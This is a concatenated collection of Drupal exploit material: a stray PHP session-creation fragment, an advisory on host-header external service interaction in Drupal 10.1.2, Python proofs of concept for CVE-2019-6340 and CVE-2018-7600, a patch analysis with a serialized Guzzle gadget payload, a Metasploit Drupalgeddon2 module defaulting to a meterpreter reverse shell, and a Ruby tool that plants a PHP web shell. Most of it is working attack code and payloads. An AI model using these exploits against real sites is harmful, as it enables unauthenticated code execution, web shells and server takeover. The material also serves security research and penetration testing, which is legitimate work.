curl_setopt($ch,CURLOPT_RETURNTRANSFER,True);
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,False);
curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:34.0) Gecko/20100101 Firefox/34.0');
curl_setopt($ch,CURLOPT_HTTPHEADER,array(
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language: en-US,en;q=0.5'
));
curl_setopt($ch,CURLOPT_COOKIE,$cookie);
$output = curl_exec($ch);
curl_close($ch);
echo "Session with this ID created:\n";
echo "S".$cookieName.": ".$sec_ssid;
## Title: drupal-10.1.2 web-cache-poisoning-External-service-interaction
## Author: nu11secur1ty
## Date: 08/30/2023
## Vendor: https://www.drupal.org/
## Software: https://www.drupal.org/download
## Reference: https://portswigger.net/kb/issues/00300210_external-service-interaction-http
## Description:
It is possible to induce the application to perform server-side HTTP
requests to arbitrary domains.
The payload d7lkti6pq8fjkx12ikwvye34ovuoie680wqjg75.oastify.com was
submitted in the HTTP Host header.
The application performed an HTTP request to the specified domain. For
the second test, the attacker stored a response
on the server with malicious content. This can be bad for a lot of
users of this system if the attacker spreads a malicious URL
and sends it by email etc. By using a redirect exploit.
STATUS: HIGH-Vulnerability
[+]Exploit:
```GET
GET /drupal/web/?psp4hw87ev=1 HTTP/1.1
Host: d7lkti6pq8fjkx12ikwvye34ovuoie680wqjg75.oastify.com
Accept-Encoding: gzip, deflate, psp4hw87ev
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7,
text/psp4hw87ev
Accept-Language: en-US,psp4hw87ev;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111
Safari/537.36 psp4hw87ev
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="116", "Chromium";v="116"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0
Origin: https://psp4hw87ev.pwnedhost.com
```
[+]Response from Burpcollaborator server:
```HTTP
HTTP/1.1 200 OK
Server: Burp Collaborator https://burpcollaborator.net/
X-Collaborator-Version: 4
Content-Type: text/html
Content-Length: 62
<html><body>zeq5zcbz3x69x9a63ubxidzjlgigmmgifigz</body></html>
```
[+]Response from Attacker server
```HTTP
192.168.100.45 - - [30/Aug/2023 05:52:56] "GET
/drupal/web/rss.xml?psp4hw87ev=1 HTTP/1.1"
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/DRUPAL/2013/drupal-10.1.2)
## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/08/drupal-1012-web-cache-poisoning.html)
## Time spend:
03:35:00
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.htmlhttps://cxsecurity.com/ and
https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>
#!/usr/bin/env python3
# CVE-2019-6340 Drupal <= 8.6.9 REST services RCE PoC
# 2019 @leonjza
# Technical details for this exploit is available at:
# https://www.drupal.org/sa-core-2019-003
# https://www.ambionics.io/blog/drupal8-rce
# https://twitter.com/jcran/status/1099206271901798400
# Sample usage:
#
# $ python cve-2019-6340.py http://127.0.0.1/ "ps auxf"
# CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC
# by @leonjza
#
# References:
# https://www.drupal.org/sa-core-2019-003
# https://www.ambionics.io/blog/drupal8-rce
#
# [warning] Caching heavily affects reliability of this exploit.
# Nodes are used as they are discovered, but once they are done,
# you will have to wait for cache expiry.
#
# Targeting http://127.0.0.1/...
# [+] Finding a usable node id...
# [x] Node enum found a cached article at: 2, skipping
# [x] Node enum found a cached article at: 3, skipping
# [+] Using node_id 4
# [+] Target appears to be vulnerable!
#
# USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
# root 49 0.0 0.0 4288 716 pts/0 Ss+ 16:38 0:00 sh
# root 1 0.0 1.4 390040 30540 ? Ss 15:20 0:00 apache2 -DFOREGROUND
# www-data 24 0.1 2.8 395652 57912 ? S 15:20 0:08 apache2 -DFOREGROUND
# www-data 27 0.1 2.9 396152 61108 ? S 15:20 0:08 apache2 -DFOREGROUND
# www-data 31 0.0 3.4 406304 70408 ? S 15:22 0:04 apache2 -DFOREGROUND
# www-data 39 0.0 2.7 398472 56852 ? S 16:14 0:02 apache2 -DFOREGROUND
# www-data 44 0.2 3.2 402208 66080 ? S 16:37 0:05 apache2 -DFOREGROUND
# www-data 56 0.0 2.6 397988 55060 ? S 16:38 0:01 apache2 -DFOREGROUND
# www-data 65 0.0 2.3 394252 48460 ? S 16:40 0:01 apache2 -DFOREGROUND
# www-data 78 0.0 2.5 400996 51320 ? S 16:47 0:01 apache2 -DFOREGROUND
# www-data 117 0.0 0.0 4288 712 ? S 17:20 0:00 \_ sh -c echo
import sys
from urllib.parse import urlparse, urljoin
import requests
def build_url(*args) -> str:
"""
Builds a URL
"""
f = ''
for x in args:
f = urljoin(f, x)
return f
def uri_valid(x: str) -> bool:
"""
https://stackoverflow.com/a/38020041
"""
result = urlparse(x)
return all([result.scheme, result.netloc, result.path])
def check_drupal_cache(r: requests.Response) -> bool:
"""
Check if a response had the cache header.
"""
if 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT':
return True
return False
def find_article(base: str, f: int = 1, l: int = 100):
"""
Find a target article that does not 404 and is not cached
"""
while f < l:
u = build_url(base, '/node/', str(f))
r = requests.get(u)
if check_drupal_cache(r):
print(f'[x] Node enum found a cached article at: {f}, skipping')
f += 1
continue
# found an article?
if r.status_code == 200:
return f
f += 1
def check(base: str, node_id: int) -> bool:
"""
Check if the target is vulnerable.
"""
payload = {
"_links": {
"type": {
"href": f"{urljoin(base, '/rest/type/node/INVALID_VALUE')}"
}
},
"type": {
"target_id": "article"
},
"title": {
"value": "My Article"
},
"body": {
"value": ""
}
}
u = build_url(base, '/node/', str(node_id))
r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})
if check_drupal_cache(r):
print(f'Checking if node {node_id} is vuln returned cache HIT, ignoring')
return False
if 'INVALID_VALUE does not correspond to an entity on this site' in r.text:
return True
return False
def exploit(base: str, node_id: int, cmd: str):
"""
Exploit using the Guzzle Gadgets
"""
# pad a easy search replace output:
cmd = 'echo ---- & ' + cmd
payload = {
"link": [
{
"value": "link",
"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000"
"GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\""
"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:"
"{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";"
"s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000"
"stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000"
"GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\""
"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
"".replace('|size|', str(len(cmd))).replace('|command|', cmd)
}
],
"_links": {
"type": {
"href": f"{urljoin(base, '/rest/type/shortcut/default')}"
}
}
}
u = build_url(base, '/node/', str(node_id))
r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})
if check_drupal_cache(r):
print(f'Exploiting {node_id} returned cache HIT, may have failed')
if '----' not in r.text:
print('[warn] Command execution _may_ have failed')
print(r.text.split('----')[1])
def main(base: str, cmd: str):
"""
Execute an OS command!
"""
print('[+] Finding a usable node id...')
article = find_article(base)
if not article:
print('[!] Unable to find a node ID to reference. Check manually?')
return
print(f'[+] Using node_id {article}')
vuln = check(base, article)
if not vuln:
print('[!] Target does not appear to be vulnerable.')
print('[!] It may also simply be a caching issue, so maybe just try again later.')
return
print(f'[+] Target appears to be vulnerable!')
exploit(base, article, cmd)
if __name__ == '__main__':
print('CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC')
print(' by @leonjza\n')
print('References:\n'
' https://www.drupal.org/sa-core-2019-003\n'
' https://www.ambionics.io/blog/drupal8-rce\n')
print('[warning] Caching heavily affects reliability of this exploit.\n'
'Nodes are used as they are discovered, but once they are done,\n'
'you will have to wait for cache expiry.\n')
if len(sys.argv) <= 2:
print(f'Usage: {sys.argv[0]} <target base URL> <command>')
print(f' Example: {sys.argv[0]} http://127.0.0.1/ id')
target = sys.argv[1]
command = sys.argv[2]
if not uri_valid(target):
print(f'Target {target} is not a valid URL')
sys.exit(1)
print(f'Targeting {target}...')
main(target, command)
Analyzing the patch
By diffing Drupal 8.6.9 and 8.6.10, we can see that in the REST module, FieldItemNormalizer now uses a new trait, SerializedColumnNormalizerTrait. This trait provides the checkForSerializedStrings() method, which in short raises an exception if a string is provided for a value that is stored as a serialized string. This indicates the exploitation vector fairly clearly: through a REST request, the attacker needs to send a serialized property. This property will later be unserialize()d, thing that can easily be exploited using tools such as PHPGGC. Another modified file gives indications as to which property can be used: LinkItem now uses unserialize($values['options'], ['allowed_classes' => FALSE]); instead of the standard unserialize($values['options']);.
As for all FieldItemBase subclasses, LinkItem references a property type. Shortcut uses this property type, for a property named link.
Triggering the unserialize()
Having all these elements in mind, triggering an unserialize is fairly easy:
GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
Host: 192.168.1.25
Content-Type: application/hal+json
Content-Length: 642
{
"link": [
{
"value": "link",
"options": "<SERIALIZED_CONTENT>"
}
],
"_links": {
"type": {
"href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
}
}
}
Since Drupal 8 uses Guzzle, we can generate a payload using PHPGGC:
$ ./phpggc guzzle/rce1 system id --json
"O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
We can now send the payload via GET:
GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
Host: 192.168.1.25
Content-Type: application/hal+json
Content-Length: 642
{
"link": [
{
"value": "link",
"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
}
],
"_links": {
"type": {
"href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
}
}
}
To which Drupal responds:
HTTP/1.1 200 OK
Link: <...>
X-Generator: Drupal 8 (https://www.drupal.org)
X-Drupal-Cache: MISS
Connection: close
Content-Type: application/hal+json
Content-Length: 9012
{...}uid=33(www-data) gid=33(www-data) groups=33(www-data)
Note: Drupal caches responses: if you're in a testing environment, clear the cache. If not, try another node ID.
#!/usr/bin/env
import sys
import requests
print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')
target = input('Enter target url (example: https://domain.ltd/): ')
# Add proxy support (eg. BURP to analyze HTTP(s) traffic)
# set verify = False if your proxy certificate is self signed
# remember to set proxies both for http and https
#
# example:
# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
# verify = False
proxies = {}
verify = True
url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}
r = requests.post(url, proxies=proxies, data=payload, verify=verify)
check = requests.get(target + 'hello.txt')
if check.status_code != 200:
sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Drupalgeddon2',
'Description' => %q{
CVE-2018-7600 / SA-CORE-2018-002
Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1
allows remote attackers to execute arbitrary code because of an issue affecting
multiple subsystems with default or common module configurations.
The module can load msf PHP arch payloads, using the php/base64 encoder.
The resulting RCE on Drupal looks like this: php -r 'eval(base64_decode(#{PAYLOAD}));'
},
'License' => MSF_LICENSE,
'Author' =>
[
'Vitalii Rudnykh', # initial PoC
'Hans Topo', # further research and ruby port
'José Ignacio Rojo' # further research and msf module
],
'References' =>
[
['SA-CORE', '2018-002'],
['CVE', '2018-7600'],
],
'DefaultOptions' =>
{
'encoder' => 'php/base64',
'payload' => 'php/meterpreter/reverse_tcp',
},
'Privileged' => false,
'Platform' => ['php'],
'Arch' => [ARCH_PHP],
'Targets' =>
[
['User register form with exec', {}],
],
'DisclosureDate' => 'Apr 15 2018',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/']),
])
register_advanced_options(
[
])
end
def uri_path
normalize_uri(target_uri.path)
end
def exploit_user_register
data = Rex::MIME::Message.new
data.add_part("php -r '#{payload.encoded}'", nil, nil, 'form-data; name="mail[#markup]"')
data.add_part('markup', nil, nil, 'form-data; name="mail[#type]"')
data.add_part('user_register_form', nil, nil, 'form-data; name="form_id"')
data.add_part('1', nil, nil, 'form-data; name="_drupal_ajax"')
data.add_part('exec', nil, nil, 'form-data; name="mail[#post_render][]"')
post_data = data.to_s
# /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
send_request_cgi({
'method' => 'POST',
'uri' => "#{uri_path}user/register",
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'vars_get' => {
'element_parents' => 'account/mail/#value',
'ajax_form' => '1',
'_wrapper_format' => 'drupal_ajax',
}
})
end
##
# Main
##
def exploit
case datastore['TARGET']
when 0
exploit_user_register
else
fail_with(Failure::BadConfig, "Invalid target selected.")
end
end
end
#!/usr/bin/env ruby
#
# [CVE-2018-7600] Drupal <= 8.5.0 / <= 8.4.5 / <= 8.3.8 / 7.23 <= 7.57 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/
#
# Authors:
# - Hans Topo ~ https://github.com/dreadlocked // https://twitter.com/_dreadlocked
# - g0tmi1k ~ https://blog.g0tmi1k.com/ // https://twitter.com/g0tmi1k
#
require 'base64'
require 'json'
require 'net/http'
require 'openssl'
require 'readline'
require 'highline/import'
# Settings - Try to write a PHP to the web root?
try_phpshell = true
# Settings - General/Stealth
$useragent = "drupalgeddon2"
webshell = "shell.php"
# Settings - Proxy information (nil to disable)
$proxy_addr = nil
$proxy_port = 8080
# Settings - Payload (we could just be happy without this PHP shell, by using just the OS shell - but this is 'better'!)
bashcmd = "<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }"
bashcmd = "echo " + Base64.strict_encode64(bashcmd) + " | base64 -d"
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Function http_request <url> [type] [data]
def http_request(url, type="get", payload="", cookie="")
puts verbose("HTTP - URL : #{url}") if $verbose
puts verbose("HTTP - Type: #{type}") if $verbose
puts verbose("HTTP - Data: #{payload}") if not payload.empty? and $verbose
begin
uri = URI(url)
request = type =~ /get/? Net::HTTP::Get.new(uri.request_uri) : Net::HTTP::Post.new(uri.request_uri)
request.initialize_http_header({"User-Agent" => $useragent})
request.initialize_http_header("Cookie" => cookie) if not cookie.empty?
request.body = payload if not payload.empty?
return $http.request(request)
rescue SocketError
puts error("Network connectivity issue")
rescue Errno::ECONNREFUSED => e
puts error("The target is down ~ #{e.message}")
puts error("Maybe try disabling the proxy (#{$proxy_addr}:#{$proxy_port})...") if $proxy_addr
rescue Timeout::Error => e
puts error("The target timed out ~ #{e.message}")
end
# If we got here, something went wrong.
exit
end
# Function gen_evil_url <cmd> [method] [shell] [phpfunction]
def gen_evil_url(evil, element="", shell=false, phpfunction="passthru")
puts info("Payload: #{evil}") if not shell
puts verbose("Element : #{element}") if not shell and not element.empty? and $verbose
puts verbose("PHP fn : #{phpfunction}") if not shell and $verbose
# Vulnerable parameters: #access_callback / #lazy_builder / #pre_render / #post_render
# Check the version to match the payload
if $drupalverion.start_with?("8") and element == "mail"
# Method #1 - Drupal v8.x: mail, #post_render - HTTP 200
url = $target + $clean_url + $form + "?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpfunction + "&mail[a][#type]=markup&mail[a][#markup]=" + evil
elsif $drupalverion.start_with?("8") and element == "timezone"
# Method #2 - Drupal v8.x: timezone, #lazy_builder - HTTP 500 if phpfunction=exec // HTTP 200 if phpfunction=passthru
url = $target + $clean_url + $form + "?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=" + phpfunction + "&timezone[a][#lazy_builder][][]=" + evil
#puts warning("WARNING: May benefit to use a PHP web shell") if not try_phpshell and phpfunction != "passthru"
elsif $drupalverion.start_with?("7") and element == "name"
# Method #3 - Drupal v7.x: name, #post_render - HTTP 200
url = $target + "#{$clean_url}#{$form}&name[%23post_render][]=" + phpfunction + "&name[%23type]=markup&name[%23markup]=" + evil
payload = "form_id=user_pass&_triggering_element_name=name"
end
# Drupal v7.x needs an extra value from a form
if $drupalverion.start_with?("7")
response = http_request(url, "post", payload, $session_cookie)
form_name = "form_build_id"
puts verbose("Form name : #{form_name}") if $verbose
form_value = response.body.match(/input type="hidden" name="#{form_name}" value="(.*)"/).to_s.slice(/value="(.*)"/, 1).to_s.strip
puts warning("WARNING: Didn't detect #{form_name}") if form_value.empty?
puts verbose("Form value : #{form_value}") if $verbose
url = $target + "#{$clean_url}file/ajax/name/%23value/" + form_value
payload = "#{form_name}=#{form_value}"
end
return url, payload
end
# Function clean_result <input>
def clean_result(input)
#result = JSON.pretty_generate(JSON[response.body])
#result = $drupalverion.start_with?("8")? JSON.parse(clean)[0]["data"] : clean
clean = input.to_s.strip
# PHP function: passthru
# For: <payload>[{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
clean.slice!(/\[{"command":".*}\]$/)
# PHP function: exec
# For: [{"command":"insert","method":"replaceWith","selector":null,"data":"<payload>\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
#clean.slice!(/\[{"command":".*data":"/)
#clean.slice!(/\\u003Cspan class=\\u0022.*}\]$/)
# Newer PHP for an older Drupal
# For: <b>Deprecated</b>: assert(): Calling assert() with a string argument is deprecated in <b>/var/www/html/core/lib/Drupal/Core/Plugin/DefaultPluginManager.php</b> on line <b>151</b><br />
#clean.slice!(/<b>.*<br \/>/)
# Drupal v8.x Method #2 ~ timezone, #lazy_builder, passthru, HTTP 500
# For: <b>Deprecated</b>: assert(): Calling assert() with a string argument is deprecated in <b>/var/www/html/core/lib/Drupal/Core/Plugin/DefaultPluginManager.php</b> on line <b>151</b><br />
clean.slice!(/The website encountered an unexpected error.*/)
return clean
end
# Feedback when something goes right
def success(text)
# Green
return "\e[#{32}m[+]\e[0m #{text}"
end
# Feedback when something goes wrong
def error(text)
# Red
return "\e[#{31}m[-]\e[0m #{text}"
end
# Feedback when something may have issues
def warning(text)
# Yellow
return "\e[#{33}m[!]\e[0m #{text}"
end
# Feedback when something doing something
def action(text)
# Blue
return "\e[#{34}m[*]\e[0m #{text}"
end
# Feedback with helpful information
def info(text)
# Light blue
return "\e[#{94}m[i]\e[0m #{text}"
end
# Feedback for the overkill
def verbose(text)
# Dark grey
return "\e[#{90}m[v]\e[0m #{text}"
end
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
def init_authentication()
$uname = ask('Enter your username: ') { |q| q.echo = false }
$passwd = ask('Enter your password: ') { |q| q.echo = false }
$uname_field = ask('Enter the name of the username form field: ') { |q| q.echo = true }
$passwd_field = ask('Enter the name of the password form field: ') { |q| q.echo = true }
$login_path = ask('Enter your login path (e.g., user/login): ') { |q| q.echo = true }
$creds_suffix = ask('Enter the suffix eventually required after the credentials in the login HTTP POST request (e.g., &form_id=...): ') { |q| q.echo = true }
end
def is_arg(args, param)
args.each do |arg|
if arg == param
return true
end
end
return false
end
# Quick how to use
def usage()
puts 'Usage: ruby drupalggedon2.rb <target> [--authentication] [--verbose]'
puts 'Example for target that does not require authentication:'
puts ' ruby drupalgeddon2.rb https://example.com'
puts 'Example for target that does require authentication:'
puts ' ruby drupalgeddon2.rb https://example.com --authentication'
end
# Read in values
if ARGV.empty?
usage()
exit
end
$target = ARGV[0]
init_authentication() if is_arg(ARGV, '--authentication')
$verbose = is_arg(ARGV, '--verbose')
# Check input for protocol
$target = "http://#{$target}" if not $target.start_with?("http")
# Check input for the end
$target += "/" if not $target.end_with?("/")
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Banner
puts action("--==[::#Drupalggedon2::]==--")
puts "-"*80
puts info("Target : #{$target}")
puts info("Proxy : #{$proxy_addr}:#{$proxy_port}") if $proxy_addr
puts info("Write? : Skipping writing PHP web shell") if not try_phpshell
puts "-"*80
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Setup connection
uri = URI($target)
$http = Net::HTTP.new(uri.host, uri.port, $proxy_addr, $proxy_port)
# Use SSL/TLS if needed
if uri.scheme == "https"
$http.use_ssl = true
$http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
$session_cookie = ''
# If authentication required then login and get session cookie
if $uname
$payload = $uname_field + '=' + $uname + '&' + $passwd_field + '=' + $passwd + $creds_suffix
response = http_request($target + $login_path, 'post', $payload, $session_cookie)
if (response.code == '200' or response.code == '303') and not response.body.empty? and response['set-cookie']
$session_cookie = response['set-cookie'].split('; ')[0]
puts success("Logged in - Session Cookie : #{$session_cookie}")
end
end
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Try and get version
$drupalverion = ""
# Possible URLs
url = [
# --- changelog ---
# Drupal v6.x / v7.x [200]
$target + "CHANGELOG.txt",
# Drupal v8.x [200]
$target + "core/CHANGELOG.txt",
# --- bootstrap ---
# Drupal v7.x / v6.x [403]
$target + "includes/bootstrap.inc",
# Drupal v8.x [403]
$target + "core/includes/bootstrap.inc",
# --- database ---
# Drupal v7.x / v6.x [403]
$target + "includes/database.inc",
# Drupal v7.x [403]
#$target + "includes/database/database.inc",
# Drupal v8.x [403]
#$target + "core/includes/database.inc",
# --- landing page ---
# Drupal v8.x / v7.x [200]
$target,
]
# Check all
url.each do|uri|
# Check response
response = http_request(uri, 'get', '', $session_cookie)
# Check header
if response['X-Generator'] and $drupalverion.empty?
header = response['X-Generator'].slice(/Drupal (.*) \(https:\/\/www.drupal.org\)/, 1).to_s.strip
if not header.empty?
$drupalverion = "#{header}.x" if $drupalverion.empty?
puts success("Header : v#{header} [X-Generator]")
puts verbose("X-Generator: #{response['X-Generator']}") if $verbose
end
end
# Check request response, valid
if response.code == "200"
tmp = $verbose ? " [HTTP Size: #{response.size}]" : ""
puts success("Found : #{uri} (HTTP Response: #{response.code})#{tmp}")
# Check to see if it says: The requested URL "http://<URL>" was not found on this server.
puts warning("WARNING: Could be a false-positive [1-1], as the file could be reported to be missing") if response.body.downcase.include? "was not found on this server"
# Check to see if it says: <h1 class="js-quickedit-page-title title page-title">Page not found</h1> <div class="content">The requested page could not be found.</div>
puts warning("WARNING: Could be a false-positive [1-2], as the file could be reported to be missing") if response.body.downcase.include? "the requested page could not be found"
# Only works for CHANGELOG.txt
if uri.match(/CHANGELOG.txt/)
# Check if valid. Source ~ https://api.drupal.org/api/drupal/core%21CHANGELOG.txt/8.5.x // https://api.drupal.org/api/drupal/CHANGELOG.txt/7.x
puts warning("WARNING: Unable to detect keyword 'drupal.org'") if not response.body.downcase.include? "drupal.org"
# Patched already? (For Drupal v8.4.x / v7.x)
puts warning("WARNING: Might be patched! Found SA-CORE-2018-002: #{url}") if response.body.include? "SA-CORE-2018-002"
# Try and get version from the file contents (For Drupal v8.4.x / v7.x)
$drupalverion = response.body.match(/Drupal (.*),/).to_s.slice(/Drupal (.*),/, 1).to_s.strip
# Blank if not valid
$drupalverion = "" if not $drupalverion[-1] =~ /\d/
end
# Check meta tag
if not response.body.empty?
# For Drupal v8.x / v7.x
meta = response.body.match(/<meta name="Generator" content="Drupal (.*) /)
metatag = meta.to_s.slice(/meta name="Generator" content="Drupal (.*) \(http/, 1).to_s.strip
if not metatag.empty?
$drupalverion = "#{metatag}.x" if $drupalverion.empty?
puts success("Metatag: v#{$drupalverion} [Generator]")
puts verbose(meta.to_s) if $verbose
end
end
# Done! ...if a full known version, else keep going... may get lucky later!
break if not $drupalverion.end_with?("x") and not $drupalverion.empty?
end
# Check request response, not allowed
if response.code == "403" and $drupalverion.empty?
tmp = $verbose ? " [HTTP Size: #{response.size}]" : ""
puts success("Found : #{uri} (HTTP Response: #{response.code})#{tmp}")
if $drupalverion.empty?
# Try and get version from the URL (For Drupal v.7.x/v6.x)
$drupalverion = uri.match(/includes\/database.inc/)? "7.x/6.x" : "" if $drupalverion.empty?
# Try and get version from the URL (For Drupal v8.x)
$drupalverion = uri.match(/core/)? "8.x" : "" if $drupalverion.empty?
# If we got something, show it!
puts success("URL : v#{$drupalverion}?") if not $drupalverion.empty?
end
else
tmp = $verbose ? " [HTTP Size: #{response.size}]" : ""
puts warning("MISSING: #{uri} (HTTP Response: #{response.code})#{tmp}")
end
end
# Feedback
if not $drupalverion.empty?
status = $drupalverion.end_with?("x")? "?" : "!"
puts success("Drupal#{status}: v#{$drupalverion}")
else
puts error("Didn't detect Drupal version")
exit
end
if not $drupalverion.start_with?("8") and not $drupalverion.start_with?("7")
puts error("Unsupported Drupal version (#{$drupalverion})")
exit
end
puts "-"*80
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# The attack vector to use
$form = $drupalverion.start_with?("8")? "user/register" : "user/password"
# Make a request, check for form
url = "#{$target}?q=#{$form}"
puts action("Testing: Form (#{$form})")
response = http_request(url, 'get', '', $session_cookie)
if response.code == "200" and not response.body.empty?
puts success("Result : Form valid")
elsif response['location']
puts error("Target is NOT exploitable [5] (HTTP Response: #{response.code})... Could try following the redirect: #{response['location']}")
exit
elsif response.code == "404"
puts error("Target is NOT exploitable [4] (HTTP Response: #{response.code})... Form disabled?")
exit
elsif response.code == "403"
puts error("Target is NOT exploitable [3] (HTTP Response: #{response.code})... Form blocked?")
exit
elsif response.body.empty?
puts error("Target is NOT exploitable [2] (HTTP Response: #{response.code})... Got an empty response")
exit
else
puts warning("WARNING: Target may NOT exploitable [1] (HTTP Response: #{response.code})")
end
puts "- "*40
# Make a request, check for clean URLs status ~ Enabled: /user/register Disabled: /?q=user/register
# Drupal v7.x needs it anyway
$clean_url = $drupalverion.start_with?("8")? "" : "?q="
url = "#{$target}#{$form}"
puts action("Testing: Clean URLs")
response = http_request(url, 'get', '', $session_cookie)
if response.code == "200" and not response.body.empty?
puts success("Result : Clean URLs enabled")
else
$clean_url = "?q="
puts warning("Result : Clean URLs disabled (HTTP Response: #{response.code})")
puts verbose("response.body: #{response.body}") if $verbose
# Drupal v8.x needs it to be enabled
if $drupalverion.start_with?("8")
puts error("Sorry dave... Required for Drupal v8.x... So... NOPE NOPE NOPE")
exit
elsif $drupalverion.start_with?("7")
puts info("Isn't an issue for Drupal v7.x")
end
end
puts "-"*80
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
